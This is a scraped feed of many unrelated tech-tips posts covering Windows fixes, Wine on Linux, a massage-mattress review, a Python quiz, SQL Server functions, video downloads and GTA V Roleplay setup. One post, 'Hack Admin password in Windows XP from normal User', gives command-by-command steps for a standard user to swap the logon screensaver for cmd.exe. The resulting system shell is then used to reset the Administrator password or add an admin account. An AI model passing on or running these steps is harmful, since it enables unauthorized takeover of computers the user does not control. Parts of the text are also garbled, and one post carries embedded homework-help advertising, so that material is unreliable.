Unlocker, find the file you want to unlock, right-click it and select iObit Unlocker.\n  Step 3: The program will automatically list the file being opened by which program. Then you just need to press Unlock to unlock it.\n  These are simple ways for you to delete, rename, copy or move files that are being used in another application.\nFile Is Open in Another Program File Is Open in Another Program error ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp6ZrXqntcueZKKrXaS9prqMoqVmmZ6kwamx0Wanq6eXp66uecSrqaiqXaS7bsPIp5uor6M%3D\n","link":"/post/how-to-fix-file-is-open-in-another-program-error-on-windows/","section":"post","tags":null,"title":"How to fix 'File Is Open in Another Program' error on Windows"},{"body":"Poor keyboard performance is mainly due to lack of memory and system resources, the article will introduce some tips to fix this error.\nLaunch the System Maintenace Sometimes cleaning out unused files and shortcuts will help you troubleshoot software problems, often causing keyboard malfunctions. Doing:\n• Go to Control Panel\u0026gt; Troubleshooting.\n• Navigate to the System and Security section and click on the Run Maintenance Task option.\n• Follow the instructions to run the system maintenance troubleshooter.\nOnce done, check to see if the issue has been resolved. If not, try the next step.\nAdjust the Character Repeat parameter in Keyboard Properties Character Repeat rate is a parameter that shows the delay value of character display when you type. Sometimes this parameter improperly adjusted can also make you feel the keyboard response is delayed. Doing:\n• Press the key combination Windows + R.\n• In the Run dialog box, type control keyboard and press Enter.\n• In the Keyboard Properties window, click the Speed ​​tab.\n• Next drag the slider at Repeat rate to the highest level. Finished click OK.\nThen check that the keyboard is working properly again. If not, try the next step.\n  Adjust the Repeat rate parameter to speed up the display of characters\nTurn off Filter Keys • Press the Windows + I key combination to open the system setting window.\n• Open Ease of Access, then select Keyboard in the left menu column.\nFinally turn off the Use Filter Keys option.\nUse the DISM tool • Open Start menu, search for Command Prompt application (cmd) and launch it as Administrator.\n• In the command line execution window, type: DISM.exe / Online / Cleanup-image / Restorehealth and press Enter.\nAfter completing the test, close the Command Prompt window and reboot the system.\n  Create a new user account If you still cannot fix the error, try creating another account on the system to use. Most likely the files in the account's profile are damaged, so try creating a new account to use.\nReinstall keyboard driver • Press the key combination Windows + X, then choose Device Manager\u0026gt; Keyboard.\n• Expand Keyboard options, right-click on the device name of the keyboard and choose Uninstall.\nThen reboot the system to apply the change, then try to check if the keyboard is working quickly again.\n  Use Clean Boot mode • Press the Windows + R key combination, enter the keyword msconfig and press Enter.\n• On the General tab, select the Selective startup line, then check the 2 boxes Load System services and Use original boot configuration.\n• Select next through the Services tab, select the option Hide All Microsoft Services. Done, press the button Disable all.\n• Click the Startup tab and click Open Task Manager. Turn off Task Manager and click OK to save the settings.\nFinally restart the machine to check.\nfix keyboard errors ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp6ZrXq0uM6wZKudo6W8r7%2FIr5xmo5Wur7Ct0Z1knqqipL%2B0ec6nZLChnpm8uL%2BMamc%3D\n","link":"/post/how-to-fix-slow-responsive-keyboard-errors-on-windows-10/","section":"post","tags":null,"title":"How to fix slow responsive keyboard errors on Windows 10"},{"body":"Today, many people are switching to Linux. When switching to this new platform, users often have to look for alternatives to the popular Windows programs that they previously used. When it comes to alternative programs, most of them are available on the Linux platform. Some programs have been replaced. For example, Photoshop is replaced with GIMP and Microsoft Office replaced by Libre Office. Many mainstream Windows programs have open source alternatives. However, not every program has a suitable replacement application. There are a number of applications from Windows that are needed, but there are no alternatives on Linux. Fortunately, there is a software project that allows you to run Windows applications on Linux. This software is called Wine. It creates a compatibility layer for Windows programs to interact with the Linux operating system.\nInstall Wine on Linux All mainstream Linux versions integrate Wine in one way or another, under different names. Open the Terminal window and use the following Linux command to install it on your operating system. Also, open Gnome Software (usually installed on a Linux computer), search for Wine and click the install button to continue.\nUbuntu\n sudo apt install wine-stable  Debian\n sudo apt-get install wine  Fedora\n sudo dnf wine  Ar ch Linux\n sudo pacman -S wine  OpenSUSE\n sudo zypper install wine  Run Windows applications on Linux with Wine Wine can be used in two ways. Users can launch Windows programs via the Terminal application or with the file manager on the system.\nVia Terminal application   For those who prefer to use the Terminal application, here's how to run the Windows application. First, go to the folder containing the program on your PC using the CD command.\nNote: if the EXE file is not in the Download folder but is saved somewhere else, change your command.\n ~ / = / home / username. cd ~ / Downloads  Then use the Wine command to start the program.\n wine windowsprogram.exe  Via File Manager   Windows applications can be launched (and installed) directly from the file manager. To do this, open the file management tool that comes with your Linux operating system. Please note that computers will not be completely the same. Settings and options will vary, depending on the operating system you are using. However, the main content is still quite similar.\nAlthough the Wine software is already installed, it doesn't mean that the EXE file will stop running immediately. Instead, you will need to set Wine as the default program for the 'exe' file.\nTo launch the application, find the folder containing the application and right-click on the folder. Select \" properties \" in the menu and find \" open with \", \" filetype options \" or similar content. In this section, select Wine . If Wine cannot be found in the program list, look for an option to write an alternative command, and type: Wine.\nGo back to the file manager and double-click the exe file. Wine will open the Windows application and run it.\nWine Helpers Basically, everything on Wine goes well, and most users have no trouble running Windows applications on Linux. However, for some people, the way Wine works seems a bit complicated and they need help. That's why in this article, network administrators will briefly summarize some of the \"helpers\" in Wine, which are resources that people can use to make Wine more convenient.\nPlayOnLinux   For those who want to use Wine to install Windows games, PlayOnLinux is an obvious choice. It comes with some help making it easier to install multiple Windows games at the same time. Just use the search bar, find a game you like and click the install button. PlayOnLinux installs everything that the game needs to run (even things like the required Windows game runtime). PlayOnLinux is available on most mainstream Linux versions. To install it, open the terminal application and enter the following command. Also, open the software tool that comes with your Linux and search for 'PlayOnLinux'.\nUbuntu\n sudo apt install playonlinux  Debian\n sudo apt-get install playonlinux  Fedora\n sudo dnf install playonlinux  Arch Linux\n sudo pacman -S playonlinux  OpenSUSE\n sudo zypper install playonlinux  You can refer to the Instructions for installing Windows software on Linux using PlayOnLinux\nCrossOver   Crossover, like PlayOnLinux, is software designed in the Wine framework. However, unlike PlayOnLinux, we have to pay to use this software. It allows users to create \"Wine bottles\". Wine bottles allow the software to run independently of the rest of the system. That is, if a user has a program that requires Windows 2000, but another program requires Windows 10 or 8, each section will be run on a separate Windows.\nIn addition, Crossover has a list of many \"help scripts\". All the users need to do is search the program you need, click the install button and the software will install it for you. For this reason, if you are new to Linux and need help installing Windows programs, this software is the best option for you .\nYou can download Linux here: https://www.codeweavers.com/products/crossover-linux\nWith Wine's help, installing Windows software on Linux will be easier. It's not perfect but is capable of running programs developed for another operating system and actually increases the usability of this operating system. Those who are using Linux but need to access certain Windows programs can breathe a sigh of relief.\nSee more:\nHow to run Windows applications on Linux with Vineyard Run Windows applications on Linux, macOS and other platforms ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqqlo3q4tc2dprCrXZa9sbjInJitoZ%2BjwG67zWajoqalrXq4tdOhZLChnpo%3D\n","link":"/post/how-to-run-windows-applications-on-linux-with-wine/","section":"post","tags":null,"title":"How to run Windows applications on Linux with Wine"},{"body":"In this article, TipsMake.com will evaluate the massage massage Bella for you to better understand this product and decide whether this is a health care product worth buying!\nMassage cushion or massage mattress is a full body massage machine that can be used on the floor, bed, sofa, recliner or chair on the car . When you lie or sit on this product, almost The whole body will quickly be massaged, massaged to relieve aches and pains, eliminate stress, stress, enhance blood circulation, help the body become more healthy and relaxed (depending on the size of the mattress but Massaged areas can range from neck to knee or from head to toe. Compared to other massage chair devices that usually cost several tens to several hundred million VND or massage services, professional spas are equally expensive but take a lot of time, massage mattresses are appreciated for reasonable prices and Convenience can be used anywhere anytime.\nBella massage mattress is also one of the massage pads which are quite hot in the market today. Let's find out if this product has outstanding advantages and should you really buy it.\nQuick review of content Learn and evaluate Bella massage mattress products Design, design Massage function Material Usability Subject to use Price  Address buy massage cushion is good, cheap   Bella massage mattress including mattress body, controller and adapter.\nLearn and evaluate Bella massage mattress products Design, design Bella massage mattress with dimensions 172 x 57 cm . With this size, the mattress is suitable for full body massage for most Vietnamese people. Bella mattress has the advantage of being designed flat and one single sheet, each time using just open the mattress, finished using just rolled up, easy to move to different locations and not costly storage.\nMassage function Certainly, the massage function is effective, is it good that consumers are most interested in learning about Bella massage cushion.\nBella cushion with 10 vibrating motors is arranged spread evenly across the mattress so it can ensure massage, massage many different positions on the body, from neck, shoulders, back, back to thighs, legs . Also , Bella massage mattress also allows you to easily customize massage heads to impact certain positions on the body according to your needs and preferences.\n  Bella mattresses can massage all areas of the body effectively.\nBesides the normal massage regime, you can also choose thermal massage mode due to the Bella massage cushion capable of creating heat, which helps the blood circulation effect better.\nReference: Which foot massage machine should buy the best today?\nBella mattresses offer 3 massage modes, including an incremental massage (slow and fast), even massages , relaxing massages and allow you to choose the right mode thanks to the intelligent control chip.\nWith this massage ability, it can be seen that Bella cushion will help your whole body relax completely after a long day of hard work, thereby enhancing health and limiting disease effectively.\n  Bella massage cushion has an infrared massage function to promote stronger blood circulation process.\nMaterial Bella massage mattress is made from high quality satin and cotton fabric and is manufactured according to Italian technology , European standard , ensuring smoothness during use, bringing the experience no less massage at the spa. The material of Bella mattress fabric also has good insulation ability, so it is safe to use the device , not to worry about unfortunate incidents.\nUsability Bella massage mattress can be used anywhere at any time by spreading on bed, floor, chairs . at home, office and on cars, very convenient. With a modern and luxurious black design, you can also use this product to make extremely meaningful gifts for friends and relatives .\n  Bella massage mattress made of high quality materials according to European standards and luxurious black.\nSubject to use Bella massage mattress is suitable for all ages, especially:\nOlder people People who work in offices, have less travel Sedentary people Those who have to work too hard or have to do heavy work often, carry heavy loads . Busy housewives Reference: Simple and effective body massage guide at home\n  Bella body massage cushion is a meaningful gift for parents, grandparents, and elderly people.\nPrice Bella massage mattress is extremely affordable. You can now buy this product at META.vn for only VND 699,000 (including VAT), saving nearly VND 500,000 compared to the market price .\nWith the above information, you may also feel that it is not difficult to decide whether to buy Bella massage mattress or not. According to the customers who bought and used the product, Bella cushion is a versatile, compact, easy-to-use body massage, good massage, safe and reasonably cheap .\nAddress buy massage cushion is good, cheap With over 10 years of experience providing health care products, META.vn is a reliable address for you to buy full body massage mattress as well as portable massage models, eye massage machine, body massage chair. . with genuine warranty at the most preferential price on the market today.\nYou can order online at META.vn website or call the hotline number in Hanoi 024.35.68.69.69 - TP. HCM 028.38.33.33.66 to be consulted, supported, and professionally supported by experienced sales team.\nRefer:\nTop types of best portable massage machines should buy Full body massage chair of any kind? ncG1vNJzZmismaXArq3KnmWcp51ktrR5wZ6jpZldoq60v8CgnGalkanBs7HSrGSgp5%2BZerS0zq6jnWWSqsY%3D\n","link":"/post/is-bella-massage-mattress-good-should-buy/","section":"post","tags":null,"title":"Is Bella massage mattress good? Should buy?"},{"body":"Currently, Microsoft no longer limits these two features to the Windows desktop app. Instead, Microsoft officially allows Together Mode and Large Gallery to be available on both versions of Teams running on a web browser. This will make Together Mode and Large Gallery available on more platforms.\n  Both Together Mode and Large Gallery are available on Teams web version for you to experiment with. However, you will need to have the latest Chrome and Edge (Chromium core) browsers installed before you can use these two features.\nIf you don't already know, Together Mode uses AI segmentation technology to place the people in the meeting into a shared virtual space. This makes them feel like they're sitting in the same conference room as other people or sitting in a lecture hall .\u0026nbsp;\nMeanwhile, Large Gallery allows you to watch up to 49 video streams at once.\nTo use Together Mode and Large Gallery, in the meeting view, click on the menu (.) then choose Together Mode or Large Gallery. Note that virtual machines such as VMWare and Citrix will not be fully supported.\nThe market for distance learning and meeting applications is growing strongly. The leader is Zoom and behind the big guys are continuously improving their services and applications to keep up with Zoom.\nMicrosoft Teams ncG1vNJzZmismaXArq3KnmWcp51kuqqv0aiqqJ6kYsGmrcysZKimXam1pnnWnplmmZynsqKw2GaqrqigpL%2B1v4ytpqCdpJ2ys3nMqJueZZGjsW64wKuenmWXlrmtsdGy\n","link":"/post/microsoft-teams-on-the-web-already-supports-together-mode-and-large-gallery/","section":"post","tags":null,"title":"Microsoft Teams on the web already supports Together Mode and Large Gallery"},{"body":"Finally, the popular Minecraft Pocket Edition sandbox game is officially available on devices running Windows Phone. Game released by Microsoft Studio.\n  \nAfter belonging to Microsoft, the famous Minecraft game of Mojang (Sweden), was developed by Microsoft developers and introduced to Windows Phone users. Previously, Minecraft Pocket Edition was released on both the largest mobile operating system platforms currently iOS and Android.\nMinecraft Pocket Edition version on Windows Phone will not have much difference compared to on iOS and Android platforms. The price to download the game remains at $ 6.99.\nHowever, Minecraft players on Windows Phone will not be able to connect to versions of this game on iOS or Android. The player cannot connect to friends without them sharing a Wi-Fi network.\nInterested Windows Phone users can download the game here .\nncG1vNJzZmismaXArq3KnmWcp51kuqq6xJypmp6kYrynssicoJqknK56s7HLnpisnZRivK951qKlnaenqHqxtM6nnA%3D%3D\n","link":"/post/minecraft-officially-released-on-windows-phone/","section":"post","tags":null,"title":"Minecraft officially released on Windows Phone"},{"body":" Python's built-in function of multiple-choice questions helps you update and review useful knowledge for your work and learn your Python programming language.\nQuestion 1: Which of the following functions only accepts integers as parameters?\nExplanation: The function chr () only accepts integers as parameters. The ord () function only accepts the data type string. Min () and max () functions can accept both floating point and integer parameters.\n Question 2: Suppose there is a list: l = [2,3,4]. If you want to print this list in reverse order, which of the following methods should you use?\nreverse (l)\n list (reverse [(l)])\n reversed (l)\n list (reversed (l))\n Explanation: The reversed () function can be used to reverse the elements of a list. This function only accepts iterable as a parameter. To print the result as a list we use: list (reversed (l)). The output will be: [4,3,2].\n Question 3: What is the output of the following function?\n float(' -12345n')  Note: the number of spaces before that number is 5. -12345.0 (5 spaces before the number)\n   -12345.000000000 . (infinite decimal number)\n Explanation: The float () function will delete all spaces and convert integers to floating-point numbers. Therefore, the result will be: -12345.0.\n Question 4: What is the result of the function shown below?\n ord(65) ord('A')     Lỗi\nLỗi\n Explanation: ord () function is used to return the ASCII value of the letter passed to it as a parameter. Therefore, the first function leads to an error and the output of the second function is 65.\n Question 5: What is the result of the following function?\n float('-infinity') float('inf')   –Infinity\ninf\n Lỗi\nLỗi\n Lỗi\nJunk value\n  Question 6: Which of the following functions will not cause errors when not passing parameters to it?\nExplanation: The built-in functions all (), divmod (), min () will get an error if no parameters passed to them and float () can still function normally. In case no parameters are passed, float will return 0.0\n Question 7: What is the result of the following expression?\nExplanation: Hex () function converts Integer to Hexadecimal, lowercase. Therefore the output of hex function (15) is 0xf.\n Question 8: Which of the following functions does not cause errors?\nExplanation: The ord function has parameters that are characters, so the ord (), ord (\") and ord (\" \") will cause an error, but the ord ('') function does not cause an error because we are communicating number is a space, ord ('') output is 32 (ASCII value corresponds to space).\n Question 9: What is the result of the function shown below?\n len([\"hello\",2, 4, 6])      Explanation: The len () function returns the length of the object, so the output of the function shown above is 4.\n Question 10: What is the result of the following function?\n oct(7) oct('7')      Explanation: The oct () function is used to convert its parameter to octal. This function does not accept strings. Therefore, the second function leads to an error while the output of the first function is 0o7.\n  Lesley Montoya Update 24 May 2019\nncG1vNJzZmismaXArq3KnmWcp51kura406KnpZ1dmLWwtcKeZKqtma96oq7OrqtmqKmptbC6jKmYq6xdbQ%3D%3D\n","link":"/post/multiple-choice-quiz-about-python/","section":"post","tags":null,"title":"Multiple choice quiz about Python"},{"body":"Quick shortcut for Coc Coc web browser. These quick shortcuts will help you entertain and work with Coc Coc web browser faster, more efficiently.\nQuick shortcut is the way you use the keyboard with shortcuts instead of using the mouse. And surely it will help you work faster when using Coc Coc browser. Moreover, it helps you look more professional when using a computer.\nQuick shortcuts with windows and tabs       Shortcuts for Coc Coc's features   ncG1vNJzZmismaXArq3KnmWcp51kvra1wqRkrKCfp8GkwdNmnaiqXZi8pHnCqJpmr5WXeqO%2BzrCqnqo%3D\n","link":"/post/quick-shortcut-for-coc-coc-web-browser/","section":"post","tags":null,"title":"Quick shortcut for Coc Coc web browser"},{"body":"This article will show you in detail how to use the YEAR () datetime processing function in SQL Server with specific syntax and examples to better visualize and capture functions.\nDescribe SQL Server's YEAR function returns a 4-digit integer that is the year value in the timestamp passed.\nSyntax To use SQL Server's YEAR function, we use the following syntax:\n YEAR (thoigian)  Parameters :\nthoigian: the time you want to retrieve the 4-digit year value. Note :\nThe YEAR function returns the result as an integer value. See also the DATENAME and DATEPART functions that return similar results. YEAR can be used in later versions of SQL Server: SQL Server 2017, SQL Server 2016, SQL Server 2014, SQL Server 2012, SQL Server 2008 R2, SQL Server 2008, and SQL Server 2005. For example See and explore some examples of SQL Server YEAR functions.\nSELECT YEAR ('2019/04/28'); Result: 2019 SELECT YEAR ('2020/03/31 10:05'); Result: 2020 SELECT YEAR ('2021/04/01 10:05:18.621'); Result: 2021  Previous article: Ham MONTH in SQL Server\nNext article: CAST function in SQL Server\nncG1vNJzZmismaXArq3KnmWcp51kwLK4jKycq66Vp3q6scCrZJ%2BtnpjBqrvN\n","link":"/post/sql-server-year-function/","section":"post","tags":null,"title":"SQL Server YEAR function"},{"body":"If you are new to Linux and programming languages, you may have some difficulties with all the coding assignments. That's where\u0026nbsp;programming assignment help from domyassignments.com\u0026nbsp;comes in handy. Try this programming homework help and you'll have more time for learning Linux.\n  Getting back to the top 5 distros for Linux, here comes number one on my list.\nUbuntu 8г5 Ubuntu is probably the first distro site that you will pop up to if you google the question. Why is it the best Linux distro for beginners? That's because it's easy to use. It has a user interface that is pretty easy to navigate. Moreover, there is a community that can help you with most of the issues that you'll come across on this distro. Also if you're running ubuntu 16.04 or later you have snap integration ready to go without any extra configuration necessary.\nIt makes a lot of sense considering that snapd and the ubuntu distro are developed by the same company. Snaps may come in handy for new users as they contain dependencies and packages.\nYou just install the snap package. It's very different from the traditional method of installing packages through a package manager. As a result, this makes ubuntu very different from almost any other distribution. Many people make the switch to Linux in the first place to get away from proprietary software and bloat that you see on many other operating systems like windows.\nSnaps break both of these rules. Well, the software itself is still open source. It's distributed from a proprietary canonical specific source, and you have to create an account with them if you want to host your software there. And because snap ships all of the package's dependencies together with that package you can very quickly blow it up your system with duplicate copies of dependencies. If you install multiple snaps that have those same dependencies.\nFinally, although ubuntu's user interface is very clean and modern it's laid out quite a bit differently from the UI that you would see on windows, and since most new Linux users are coming from windows they might find the transition a little bit harder.\nElementary OS As this distro's name implies it is elementary. It has a simple yet elegant design very similar to the Mac OS. In fact, Elementary OS is the Linux distro I would recommend to anybody that is switching to Gnu Linux from Mac OS. The settings manager is very simple. It is very easily laid out. And you don't have to worry about going through five or six levels deep into a context menu just to find things.\nAccording to the experts from programming assignment help, the multitasking view of Elementary OS is also quite elegant and everything in the UI just goes together really well. It's also one of the few distros that will use your full-screen resolution out of the box in most cases without any additional software configuration.\nElementary OS is based on Ubuntu's long-term support release so pretty much all of the software that is available in Ubuntu will be available on Elementary OS as well. Elementary OS doesn't come with snap support out of the box. However, it is easy to install. You simply have to update your system from the terminal and then install snapd.\nNeed help with assignments on Linux? Try coding assignment help.\nLinux Mint Linux mint is one of my favorite Linux distributions. It's the first distro that I have used long term. It's very easy to install. It comes with a great suite of software. Its layout is very similar to windows. Thus, it made the transition for me from windows 7 to Gnu Linux that much easier. It's fast and it just works.\nLinux Mint also comes with a variety of desktop environments like Xfce or Mate Cinnamon. You may feel confused due to limited customization. However, it is still a good decision to make.\nStarting off with making a choice about what desktop environment you want seems like a good place to start. This also makes it easier for Linux Mint to support a wider range of hardware and aesthetic choices.\nIf you're installing Mint on very low-end hardware then you'll probably want to opt for Xfce, one of the lightest desktop environments that are out there. If you want to get a little fancier in customizing your desktop especially if you want it to look more like windows, then you can opt for cinnamon Linux.\nMint also doesn't support snaps. In fact, it's made a bit of ruckus in the\u0026nbsp;Linux community\u0026nbsp;by being explicitly against snaps.\nHowever, it is possible to install snaps on Mint although it's a little bit tougher than on Elementary OS. You'll have to remove the nosnap. Prefile and then update the system and then you can install snapd and install snap packages.\nProgramming homework for money can save you lots of time that you can devote to getting familiar with Linux Mint.\nncG1vNJzZmismaXArq3KnmWcp51kwbC8jGxknaGjqb%2Bwv4yfpqtlnJ67tsSMn6arZZKatKq6zZ6prA%3D%3D\n","link":"/post/top-3-distros-for-linux-for-beginners/","section":"post","tags":null,"title":"Top 3 Distros for Linux for Beginners"},{"body":"You only have access to a computer with a normal user right and that makes you frustrated whenever you need to install or use a program.This tutorial will help you get frustrated by \"hacking\" your Admin password without using any third party software .\nNote : This method does not apply to NTFS drives - Go to Start \u0026gt; Run type cmd command and press Enter . The command window will open and enter the following commands correctly:\ncd go back to the cdwindowssystem32 root directory into the system32 mkdir hackdir directory, create the hackdir copy logon.scr folder hackdirlogon.scr to back up the logon.scr file to the hackdir copy directory cmd.exe hackdircmd.exe back up the cmd.exe file to the directory hackdir del logon.scr deletes the logon.scr file from the original copy hackdircmd.exe logon.scr backing up the cmd.exe file in the hackdir directory back to system32 and renaming to logon.scr exit to close the command window - Then restart the computer.\nWith the above commands, you have changed the file to run the normal Windows Welcome interface with the command to launch the Command Prompt window program with the system rights, not any user rights. So at this command window you can proceed to change the password of the Admin account on the machine. After restarting the computer, instead of the Welcome screen, you will see a command prompt window appear. Here you can proceed in 1 of 2 ways: Method 1: Change the available Admin account password At the command window one of the following commands can be used:\nnet user changes the administrator account password with a new password or \n net user clears this account's password For example : net user Administrator 123 these commands change Administrator account password to 123. Method 2: Add a new account with Admin rights At the command window, type the following commands in turn:\nnet user / add add an account with the name and password corresponding to the net localgroup Administrators / add put the newly created account into the admin group So through these two ways, you can log in to the account you just created or use the newly modified password of the Administrator account to log in to the computer with the highest administrative rights.\nImportant : Don't forget to copy the files in the hackdir folder back to the system32 directory so that your system works again as usual.\nncG1vNJzZmismaXArq3KnmWcp51ktaKvymaYnaWZo3qxrdKsrqiqlGK2r3nWoqWdp6eoerm8jJ%2BpqKVdo7yzucClZK6rlac%3D\n","link":"/post/hack-admin-password-in-windows-xp-from-normal-user/","section":"post","tags":null,"title":"Hack Admin password in Windows XP from normal User"},{"body":"In the high-end laptop segment, the Macbook models in general are of course indispensable for the keyboard backlight. However, this equipment is also one of the factors that contribute to the drain on the battery, affecting the usage time. The most suitable plan is to set up your Macbook automatically, by performing a few simple steps below.\nThe MacBook keyboard backlight setting turns off automatically You can set your MacBook keyboard's backlight to turn off automatically after stopping using your computer for a few minutes through the system's System Preferences menu.\nFirst, click on the Apple logo in the upper left corner of the system menu bar. Then, select the option \" System Preferences \".\n  Next, navigate to the ' Keyboard ' section.\n  In the tab ' Keyboard ', click the check mark next to the option ' Turn Keyboard Backlight Off After 5 Secs of Inactivity ' (roughly translated: Turn off the keyboard backlight after 5 seconds of inactivity).\n  If you want to increase this time level, just click the green up and down arrow button. A menu will appear, allowing you to choose specific timelines up to 5 minutes.\n  Done! The next time you are not using your Macbook after a selected time period, the keyboard backlight will automatically turn off, helping to save battery power for the system.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpmlqbyurdOimpqknK56tcHRp2SonpZiwamxjKaYnJqfpLhut8SymaiZopl6o63CpKOin5iperi0xKdkp6ekYravedSsnA%3D%3D\n","link":"/post/how-to-automatically-turn-off-the-macbook-keyboard-backlight-when-not-in-use/","section":"post","tags":null,"title":"How to automatically turn off the MacBook keyboard backlight when not in use"},{"body":"Facebook is the most visited social network and the images and videos on this social network are quite good and quality. In today's article, TipsMake.com shows you how to download videos from facebook on iPhone to help you easily save interesting and interesting videos from this social network!\n  1. Use keyboard shortcuts (Shortcuts) to download videos Shortcuts on iPhone application is quite useful and many developers take advantage of and turn Shortcuts into a versatile tool to download videos on iPhone and some other features.\nStep 1: Download the Shortcuts app on the AppStore store or download it via the following link:\nhttps://apps.apple.com/us/app/shortcuts/id915249334\n  Step 2: After downloading and installing Shortcuts, visit the following link to download Shortcut Facebook Download.\nNext, click on Get Shortcut (1) and click Open (2) .\n  Step 3: After the Shortcut application is opened, you touch Get shortcut . Then we will have a shortcut with the name Facebook Download (circled red).\n  Step 4: Open the Facebook app, select the video to download and tap the Share button (1) =\u0026gt; Other options (2) .\n  Step 5: Choose More (1) =\u0026gt; turn the Shortcut switch to On  (2) \u0026nbsp; =\u0026gt; Done (3) .\n  Step 6: Select the Shortcut button (1) =\u0026gt; select the Facebook Download shortcut (2) .\n  Step 7: After the notice as shown below, select Run shortcut (1) =\u0026gt; wait a while for the shortcut to work and select Download videos to your device (2) when there is a notification.\nNote: Shortcuts will require you to grant photo access and notifications. Click Allow to agree for the shortcut to access images and push notifications.\n  Step 8: After the notice as shown below is successful. Touch the notification (1) and open the video (2) in the Photo Album to enjoy.\n  2. Download Facebook videos on iPhone with FileMaster software Step 1: Download FileMaster for iOS at the address: FileMaster\n  Step 2: Open the Facebook application and select the video to download. Next, click Share (1) =\u0026gt; Other options . (2) =\u0026gt; Copy (3) .\n  Step 3: Open the FileMaster application and select the Browser item .\n  Next, paste the link (1) into your browser and click on the video to download (2) . You then click the floppy disk icon (3) to save the video.\n  Step 4: You name the video and click Confirm (1) . The download interface will then automatically appear. To open the downloaded video in the folder, click on the magnifying glass icon (2) .\n  To view the video, touch the video and open it.\n  Step 5: In case you want to save the video to your computer, keep it for a while in the download folder and select Save to Album (1) =\u0026gt; Authorize adding videos (2) and saving videos (3) .\n  Step 6: After saving the video, open the Photo Album and watch the video normally.\n  With two ways to download videos from Facebook on iPhone in the article, readers can save any favorite video on Facebook to their iPhone and watch it in their spare time. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpyfrLutu8CdZK%2BhlJq8tHnFq6amZZaWsKauzqiiZqeeYraxtM6nnGaho2KyucDRnqSepKlisqK%2F2A%3D%3D\n","link":"/post/how-to-download-videos-from-facebook-on-iphone-is-extremely-easy/","section":"post","tags":null,"title":"How to download videos from Facebook on iPhone is extremely easy"},{"body":"In order for the computer to sound, the device needs to install a sound card. The sound card will handle digital audio signals and convert them into signals to output external speakers. Most computers today have integrated onboard cards on the mainboard and perform the same function as the removable sound card.\nHowever some people after installing audio drivers, or updating drivers to new versions often experience sound errors, such as loss of computer sound, volume errors on Realtek onboard sound cards. Although the sound has been adjusted to 100%, when connecting the headset to the computer, the sound is very small. The following article will show you how to fix audio errors on your computer.\nFixed a bug with the speaker icon with a red X How to retrieve the Volume icon disappears on the Taskbar? Windows 10? Headphone, earphones are shy, noisy, hard to hear and how to fix them? How to fix the Realtek sound card error onboard Step 1:\nUsers access Control Panel and select Small icons display mode. Then click on the Realtek HD Audio Manager management section.\n  Step 2:\nNew interface appears. Click on the Speakers tab , then click on the Room Correction section. Look down below, check Enabel Room Correction and adjust the frequencies to + 10db as shown below. You should not adjust it too high because it will break the sound. Finally press Ok to save.\n  Thus, when reconnecting the headset, the sound will adjust to a loud level as usual, no small sounding phenomenon like before. In addition, if necessary, we can install Sound Booster software, maximizing computer audio up to 500 times.\nSee more:\nHow to use FXSound to improve PC sound quality Instructions for setting up and installing Microphone on computer How to adjust the volume of each Chrome tab up to 600% I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp6ZrXq0u9Snm2adoqe8s7%2BMqKVmqpWWubWxymamp5qflr%2BledKorKecXZius7A%3D\n","link":"/post/how-to-fix-sound-errors-on-realtek-onboard-sound-card/","section":"post","tags":null,"title":"How to fix sound errors on Realtek Onboard sound card"},{"body":"GTA V Roleplay, is a multiplay mod version for the PC version of Grand Theft Auto V. In this GTA V Roleplay version, the player will be turned into one of the characters created by the RP server, in the form of a normal NPC. .\nYour character will play a normal citizen in Los Santos, which means you will have to earn money to own your home and car. You can also rob other people to enrich yourself. But the fact that you stick to the hunt will also include what you robbed.\nLaw enforcement will be present very soon if someone commits a crime. Especially this team is completely AI and will want to go to the wrong person in GTA V Roleplay. So if you have a criminal mind, think about being wanted and destroyed.\nIt's more realistic when your character will also have to charge energy to operate. That means your character will also have to eat to live. Otherwise, your character will die. In the article below, Quantrimang will guide you how to install GTA Roleplay and instructions to find GTA V Roleplay server to play Vietnam server.\nThe cheat codes for Grand Theft Auto IV: Episodes from Liberty City Summary of shortcuts to control the Grand Theft Auto V game Top 10 open world games like GTA that you should try How to install GTA V Roleplay on your computer and guide how to choose the server to play Step 1: First, visit the download link GTA V Roleplay following this link. Next click Download Client to download GTA V installment roleplay.\n  Next, click Sure, I agree to agree to GTA rules roleplay.\n  Next, double-click the installation file with the .exe file as shown below to start installing GTA V roleplay.\n  Press RUN to run GTA V installation file roleplay.\n  Next the game will be updated, the update time will be only 3-5 minutes depending on your network speed.\n  If there is an Outdates Game cache notification as shown below, click Yes.\n  Next game will update you for the second time, this update will be more than 1GB.Note that right now you have to turn on Steam with GTA V copyrighted up.\n  Next when the update is complete, you will be redirected to the interface to select GTA V Server roleplay. To search for Vietnamese servers, please type Vietnamese or simply Vietnamese keywords on the search box. Here my word is \"brother\".\nNote that on this list, keep in mind the number of players currently in the server and the Ping level that the server has to join. In addition to searching by keyword, you can also search by IP address by clicking on Direct Connect and entering the IP address into it.\n  Next is the participation in that server, click on the server you want to connect to and select Connect, wait for a while and you will be connected to that server.\nWhen entering the game, you will be selected to create your character from ear hair, face, clothes, hats to accessories such as armor, backpacks .\n Instructions for installing GTA V Roleplay in this article are too simple for you to do. Currently the number of gamers in Vietnam playing GTA V Roleplay is also pretty much accompanied by the same name streamer such as Do Mixi, Rip113, Mimosa, Bo \"Green\" . You may meet them when participating in GTA V Roleplay there.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqGeqMGiuMtmnq2ZXat6s7vLnqelmalivK9506GcZpufor22wMSr\n","link":"/post/how-to-install-gta-v-roleplay-on-the-computer/","section":"post","tags":null,"title":"How to install GTA V Roleplay on the computer"},{"body":"Coming up with a good name for an app can be difficult. Successful app names are succinct, often clever, and describe the app's function. Your app's name will make a lasting first impression on the people who will download it, and should...\nMethod 1of 3:\nFinding a Catchy but Descriptive Name  Choose an app name that indicates what your app does. When putting together a name, make sure that your app includes a word or plays off of a phrase that signals the content of the app. Keep in mind that potential users will see your app as they scroll through the app store and, if the name is confusing or the app doesn't seem useful, they'll pass it by. So, if you're designing a notepad app, consider titles with 'note' or 'pad' in the name. For example:[1] Evernote. Flip-pad. Day-pad.   Choose a short name. Nearly all top apps have 1- or 2-word names that roll off the tongue. So, 